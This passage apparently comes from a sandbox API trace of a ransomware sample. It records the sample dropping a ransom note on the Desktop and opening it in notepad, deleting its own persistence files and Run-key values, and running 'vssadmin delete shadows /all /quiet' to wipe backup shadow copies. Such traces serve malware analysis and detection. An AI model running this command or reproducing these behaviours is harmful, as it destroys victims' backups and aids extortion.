TokenInformationLength=0x100, ReturnLength=0x2c3f8c0 | out: TokenInformation=0x2f91c60, ReturnLength=0x2c3f8c0) returned 1 [0194.112] ConvertSidToStringSidW () returned 0x1 [0194.112] LocalFree (hMem=0x2f87a90) returned 0x0 [0194.112] CloseHandle (hObject=0x320) returned 1 [0194.112] CloseHandle (hObject=0x31c) returned 1 [0194.112] LocalFree (hMem=0x2f87c98) returned 0x0 [0194.112] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faea30) returned 1 [0194.112] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91c60) returned 1 [0194.112] CloseHandle (hObject=0x2c4) returned 1 [0194.112] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20a) returned 0x2faae40 [0194.112] SHGetFolderPathW (in: hwnd=0x0, csidl=16, hToken=0x0, dwFlags=0x0, pszPath=0x2faae40 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 0x0 [0194.272] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x54) returned 0x2f93c10 [0194.272] wcscpy (in: _Dest=0x2f93c10, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0194.272] wcscat (in: _Dest=0x2f93c10, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0194.272] wcscat (in: _Dest=0x2f93c10, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0194.272] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x920 [0194.334] WriteFile (in: hFile=0x920, lpBuffer=0x2f864f8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2c3f82c, lpOverlapped=0x0 | out: lpBuffer=0x2f864f8*, lpNumberOfBytesWritten=0x2c3f82c*=0x481, lpOverlapped=0x0) returned 1 [0194.335] CloseHandle (hObject=0x920) returned 1 [0194.393] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20a) returned 0x2f96a28 [0194.393] GetSystemDirectoryW (in: lpBuffer=0x2f96a28, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0194.393] wcscat (in: _Dest=0x2f96a28, _Source="\\notepad.exe" | out: _Dest="C:\\WINDOWS\\system32\\notepad.exe") returned="C:\\WINDOWS\\system32\\notepad.exe" [0194.393] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x25e) returned 0x2f96c40 [0194.393] wcscpy (in: _Dest=0x2f96c40, _Source="C:\\WINDOWS\\system32\\notepad.exe" | out: _Dest="C:\\WINDOWS\\system32\\notepad.exe") returned="C:\\WINDOWS\\system32\\notepad.exe" [0194.393] wcscat (in: _Dest=0x2f96c40, _Source=" " | out: _Dest="C:\\WINDOWS\\system32\\notepad.exe ") returned="C:\\WINDOWS\\system32\\notepad.exe " [0194.393] wcscat (in: _Dest=0x2f96c40, _Source="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" | out: _Dest="C:\\WINDOWS\\system32\\notepad.exe C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\WINDOWS\\system32\\notepad.exe C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0194.393] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\notepad.exe", lpCommandLine="C:\\WINDOWS\\system32\\notepad.exe C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x2c3f84c*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2c3f890 | out: lpCommandLine="C:\\WINDOWS\\system32\\notepad.exe C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt", lpProcessInformation=0x2c3f890*(hProcess=0x31c, hThread=0x920, dwProcessId=0xe94, dwThreadId=0xe98)) returned 1 [0194.802] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c40) returned 1 [0194.802] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96a28) returned 1 [0194.802] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f93c10) returned 1 [0194.802] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae40) returned 1 [0194.802] GetLogicalDriveStringsW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5 [0194.803] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc) returned 0x3013ba8 [0194.803] GetLogicalDriveStringsW (in: nBufferLength=0x5, lpBuffer=0x3013ba8 | out: lpBuffer="C:\\") returned 0x4 [0194.803] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x2c) returned 0x2f93260 [0194.803] wcscpy (in: _Dest=0x2f93260, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0194.803] wcscat (in: _Dest=0x2f93260, _Source="D0E731-Readme.txt" | out: _Dest="C:\\D0E731-Readme.txt") returned="C:\\D0E731-Readme.txt" [0194.803] CreateFileW (lpFileName="C:\\D0E731-Readme.txt" (normalized: "c:\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.803] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f93260) returned 1 [0194.803] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013ba8) returned 1 [0194.803] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20a) returned 0x2faae40 [0194.803] SHGetFolderPathW (in: hwnd=0x0, csidl=16, hToken=0x0, dwFlags=0x0, pszPath=0x2faae40 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 0x0 [0194.803] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x54) returned 0x2f93cd0 [0194.803] wcscpy (in: _Dest=0x2f93cd0, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0194.803] wcscat (in: _Dest=0x2f93cd0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0194.803] wcscat (in: _Dest=0x2f93cd0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0194.803] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90c [0194.881] WriteFile (in: hFile=0x90c, lpBuffer=0x2f864f8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2c3f82c, lpOverlapped=0x0 | out: lpBuffer=0x2f864f8*, lpNumberOfBytesWritten=0x2c3f82c*=0x481, lpOverlapped=0x0) returned 1 [0194.882] CloseHandle (hObject=0x90c) returned 1 [0194.970] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20a) returned 0x2f96a28 [0194.970] GetSystemDirectoryW (in: lpBuffer=0x2f96a28, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0194.970] wcscat (in: _Dest=0x2f96a28, _Source="\\notepad.exe" | out: _Dest="C:\\WINDOWS\\system32\\notepad.exe") returned="C:\\WINDOWS\\system32\\notepad.exe" [0194.970] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x25e) returned 0x2f96c40 [0194.970] wcscpy (in: _Dest=0x2f96c40, _Source="C:\\WINDOWS\\system32\\notepad.exe" | out: _Dest="C:\\WINDOWS\\system32\\notepad.exe") returned="C:\\WINDOWS\\system32\\notepad.exe" [0194.970] wcscat (in: _Dest=0x2f96c40, _Source=" " | out: _Dest="C:\\WINDOWS\\system32\\notepad.exe ") returned="C:\\WINDOWS\\system32\\notepad.exe " [0194.971] wcscat (in: _Dest=0x2f96c40, _Source="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" | out: _Dest="C:\\WINDOWS\\system32\\notepad.exe C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\WINDOWS\\system32\\notepad.exe C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0194.971] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\notepad.exe", lpCommandLine="C:\\WINDOWS\\system32\\notepad.exe C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x2c3f84c*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2c3f890 | out: lpCommandLine="C:\\WINDOWS\\system32\\notepad.exe C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt", lpProcessInformation=0x2c3f890*(hProcess=0x520, hThread=0x90c, dwProcessId=0xf00, dwThreadId=0xf04)) returned 1 [0194.980] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c40) returned 1 [0194.980] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96a28) returned 1 [0194.980] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f93cd0) returned 1 [0194.980] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae40) returned 1 [0194.980] GetLogicalDriveStringsW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5 [0194.981] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc) returned 0x3013e00 [0194.981] GetLogicalDriveStringsW (in: nBufferLength=0x5, lpBuffer=0x3013e00 | out: lpBuffer="C:\\") returned 0x4 [0194.981] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x2c) returned 0x2f933e8 [0194.981] wcscpy (in: _Dest=0x2f933e8, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0194.981] wcscat (in: _Dest=0x2f933e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\D0E731-Readme.txt") returned="C:\\D0E731-Readme.txt" [0194.981] CreateFileW (lpFileName="C:\\D0E731-Readme.txt" (normalized: "c:\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.981] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f933e8) returned 1 [0194.981] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013e00) returned 1 [0194.981] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20a) returned 0x2faae40 [0194.981] SHGetFolderPathW (in: hwnd=0x0, csidl=16, hToken=0x454, dwFlags=0x0, pszPath=0x2faae40 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 0x0 [0194.981] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x54) returned 0x2f93d30 [0194.981] wcscpy (in: _Dest=0x2f93d30, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0194.981] wcscat (in: _Dest=0x2f93d30, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0194.981] wcscat (in: _Dest=0x2f93d30, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0194.981] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8f8 [0195.103] WriteFile (in: hFile=0x8f8, lpBuffer=0x2f864f8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2c3f82c, lpOverlapped=0x0 | out: lpBuffer=0x2f864f8*, lpNumberOfBytesWritten=0x2c3f82c*=0x481, lpOverlapped=0x0) returned 1 [0195.104] CloseHandle (hObject=0x8f8) returned 1 [0195.315] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20a) returned 0x2f96a28 [0195.315] GetSystemDirectoryW (in: lpBuffer=0x2f96a28, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0195.315] wcscat (in: _Dest=0x2f96a28, _Source="\\notepad.exe" | out: _Dest="C:\\WINDOWS\\system32\\notepad.exe") returned="C:\\WINDOWS\\system32\\notepad.exe" [0195.316] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x25e) returned 0x2f96c40 [0195.316] wcscpy (in: _Dest=0x2f96c40, _Source="C:\\WINDOWS\\system32\\notepad.exe" | out: _Dest="C:\\WINDOWS\\system32\\notepad.exe") returned="C:\\WINDOWS\\system32\\notepad.exe" [0195.316] wcscat (in: _Dest=0x2f96c40, _Source=" " | out: _Dest="C:\\WINDOWS\\system32\\notepad.exe ") returned="C:\\WINDOWS\\system32\\notepad.exe " [0195.316] wcscat (in: _Dest=0x2f96c40, _Source="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" | out: _Dest="C:\\WINDOWS\\system32\\notepad.exe C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\WINDOWS\\system32\\notepad.exe C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0195.316] CreateProcessAsUserW (in: hToken=0x454, lpApplicationName="C:\\WINDOWS\\system32\\notepad.exe", lpCommandLine="C:\\WINDOWS\\system32\\notepad.exe C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x2c3f84c*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2c3f890 | out: lpCommandLine="C:\\WINDOWS\\system32\\notepad.exe C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt", lpProcessInformation=0x2c3f890*(hProcess=0x588, hThread=0x8f8, dwProcessId=0xf10, dwThreadId=0xf14)) returned 1 [0195.326] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c40) returned 1 [0195.326] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96a28) returned 1 [0195.326] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f93d30) returned 1 [0195.326] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae40) returned 1 [0195.326] GetLogicalDriveStringsW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5 [0195.326] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc) returned 0x3013e00 [0195.326] GetLogicalDriveStringsW (in: nBufferLength=0x5, lpBuffer=0x3013e00 | out: lpBuffer="C:\\") returned 0x4 [0195.326] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x2c) returned 0x2f93618 [0195.326] wcscpy (in: _Dest=0x2f93618, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0195.326] wcscat (in: _Dest=0x2f93618, _Source="D0E731-Readme.txt" | out: _Dest="C:\\D0E731-Readme.txt") returned="C:\\D0E731-Readme.txt" [0195.330] CreateFileW (lpFileName="C:\\D0E731-Readme.txt" (normalized: "c:\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.331] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f93618) returned 1 [0195.331] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013e00) returned 1 [0195.331] NtTerminateProcess (ProcessHandle=0x2b8, ExitStatus=0x0) returned 0x0 [0195.331] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20a) returned 0x2faae40 [0195.331] SHGetFolderPathW (in: hwnd=0x0, csidl=42, hToken=0x0, dwFlags=0x0, pszPath=0x2faae40 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0195.340] wcscat (in: _Dest=0x2faae40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0195.340] wcscat (in: _Dest=0x2faae40, _Source="d0e7313858" | out: _Dest="C:\\Program Files (x86)\\d0e7313858") returned="C:\\Program Files (x86)\\d0e7313858" [0195.340] wcscat (in: _Dest=0x2faae40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\d0e7313858\\") returned="C:\\Program Files (x86)\\d0e7313858\\" [0195.340] wcscat (in: _Dest=0x2faae40, _Source="d0e7313858" | out: _Dest="C:\\Program Files (x86)\\d0e7313858\\d0e7313858") returned="C:\\Program Files (x86)\\d0e7313858\\d0e7313858" [0195.340] wcscat (in: _Dest=0x2faae40, _Source=".exe" | out: _Dest="C:\\Program Files (x86)\\d0e7313858\\d0e7313858.exe") returned="C:\\Program Files (x86)\\d0e7313858\\d0e7313858.exe" [0195.341] DeleteFileW (lpFileName="C:\\Program Files (x86)\\d0e7313858\\d0e7313858.exe" (normalized: "c:\\program files (x86)\\d0e7313858\\d0e7313858.exe")) returned 0 [0195.341] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="software\\microsoft\\windows\\currentversion\\run", ulOptions=0x0, samDesired=0x2011f, phkResult=0x2c3f844 | out: phkResult=0x2c3f844*=0x0) returned 0x5 [0195.342] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae40) returned 1 [0195.342] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20a) returned 0x2faae40 [0195.342] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x2faae40 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0195.345] wcscat (in: _Dest=0x2faae40, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\AppData\\Roaming\\") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\" [0195.345] wcscat (in: _Dest=0x2faae40, _Source="d0e7313858" | out: _Dest="C:\\Users\\FD1HVy\\AppData\\Roaming\\d0e7313858") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\d0e7313858" [0195.345] wcscat (in: _Dest=0x2faae40, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\AppData\\Roaming\\d0e7313858\\") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\d0e7313858\\" [0195.345] wcscat (in: _Dest=0x2faae40, _Source="d0e7313858" | out: _Dest="C:\\Users\\FD1HVy\\AppData\\Roaming\\d0e7313858\\d0e7313858") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\d0e7313858\\d0e7313858" [0195.345] wcscat (in: _Dest=0x2faae40, _Source=".exe" | out: _Dest="C:\\Users\\FD1HVy\\AppData\\Roaming\\d0e7313858\\d0e7313858.exe") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\d0e7313858\\d0e7313858.exe" [0195.345] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\d0e7313858\\d0e7313858.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\d0e7313858\\d0e7313858.exe")) returned 0 [0195.347] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="software\\microsoft\\windows\\currentversion\\run", ulOptions=0x0, samDesired=0x2011f, phkResult=0x2c3f844 | out: phkResult=0x2c3f844*=0x3e4) returned 0x0 [0195.347] RegDeleteValueW (hKey=0x3e4, lpValueName="d0e7313858") returned 0x2 [0195.347] RegFlushKey (hKey=0x3e4) returned 0x0 [0195.386] RegCloseKey (hKey=0x3e4) returned 0x0 [0195.386] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae40) returned 1 [0195.386] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x28) returned 0x2fa4e08 [0195.386] wcscpy (in: _Dest=0x2fa4e08, _Source="software\\" | out: _Dest="software\\") returned="software\\" [0195.386] wcscat (in: _Dest=0x2fa4e08, _Source="d0e7313858" | out: _Dest="software\\d0e7313858") returned="software\\d0e7313858" [0195.386] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="software\\d0e7313858", ulOptions=0x0, samDesired=0x20119, phkResult=0x2c3f8a8 | out: phkResult=0x2c3f8a8*=0x3e4) returned 0x0 [0195.386] RegDeleteValueW (hKey=0x3e4, lpValueName="d0e7313858") returned 0x5 [0195.386] RegFlushKey (hKey=0x3e4) returned 0x0 [0195.666] RegCloseKey (hKey=0x3e4) returned 0x0 [0195.666] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4e08) returned 1 [0195.666] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x28) returned 0x2fa4e68 [0195.666] wcscpy (in: _Dest=0x2fa4e68, _Source="software\\" | out: _Dest="software\\") returned="software\\" [0195.666] wcscat (in: _Dest=0x2fa4e68, _Source="d0e7313858" | out: _Dest="software\\d0e7313858") returned="software\\d0e7313858" [0195.666] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="software\\d0e7313858", ulOptions=0x0, samDesired=0x20119, phkResult=0x2c3f8a8 | out: phkResult=0x2c3f8a8*=0x0) returned 0x2 [0195.666] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4e68) returned 1 [0195.666] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20a) returned 0x2faae40 [0195.667] Wow64DisableWow64FsRedirection (in: OldValue=0x2c3f8e8 | out: OldValue=0x2c3f8e8*=0x0) returned 1 [0195.667] GetSystemDirectoryW (in: lpBuffer=0x2faae40, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0195.667] wcscat (in: _Dest=0x2faae40, _Source="\\vssadmin.exe" | out: _Dest="C:\\WINDOWS\\system32\\vssadmin.exe") returned="C:\\WINDOWS\\system32\\vssadmin.exe" [0195.667] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x240) returned 0x2f96a28 [0195.667] wcscpy (in: _Dest=0x2f96a28, _Source="C:\\WINDOWS\\system32\\vssadmin.exe" | out: _Dest="C:\\WINDOWS\\system32\\vssadmin.exe") returned="C:\\WINDOWS\\system32\\vssadmin.exe" [0195.667] wcscat (in: _Dest=0x2f96a28, _Source=" delete shadows /all /quiet" | out: _Dest="C:\\WINDOWS\\system32\\vssadmin.exe delete shadows /all /quiet") returned="C:\\WINDOWS\\system32\\vssadmin.exe delete shadows /all /quiet" [0195.667] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="C:\\WINDOWS\\system32\\vssadmin.exe delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x2c3f840*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2c3f884 | out: lpCommandLine="C:\\WINDOWS\\system32\\vssadmin.exe delete shadows /all /quiet", lpProcessInformation=0x2c3f884*(hProcess=0x58c, hThread=0x3e4, dwProcessId=0xf18, dwThreadId=0xf1c)) returned 1 [0195.810] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96a28) returned 1 [0195.810] Wow64RevertWow64FsRedirection (OlValue=0x2c3f8e8) returned 1 [0195.810] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae40) returned 1 [0195.810] ExitProcess (uExitCode=0x1) Thread: id = 1462 os_tid = 0xd9c Thread: id = 1463 os_tid = 0xda0 Thread: id = 1464 os_tid = 0xdb8 [0163.239] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.324] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.324] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.324] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.324] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.324] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.324] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.324] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.324] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.324] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.324] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.325] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.325] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.325] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.325] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.325] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.325] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.325] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.325] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.325] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.325] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.325] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.325] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.325] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.325] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.325] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.325] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.325] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.325] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.325] 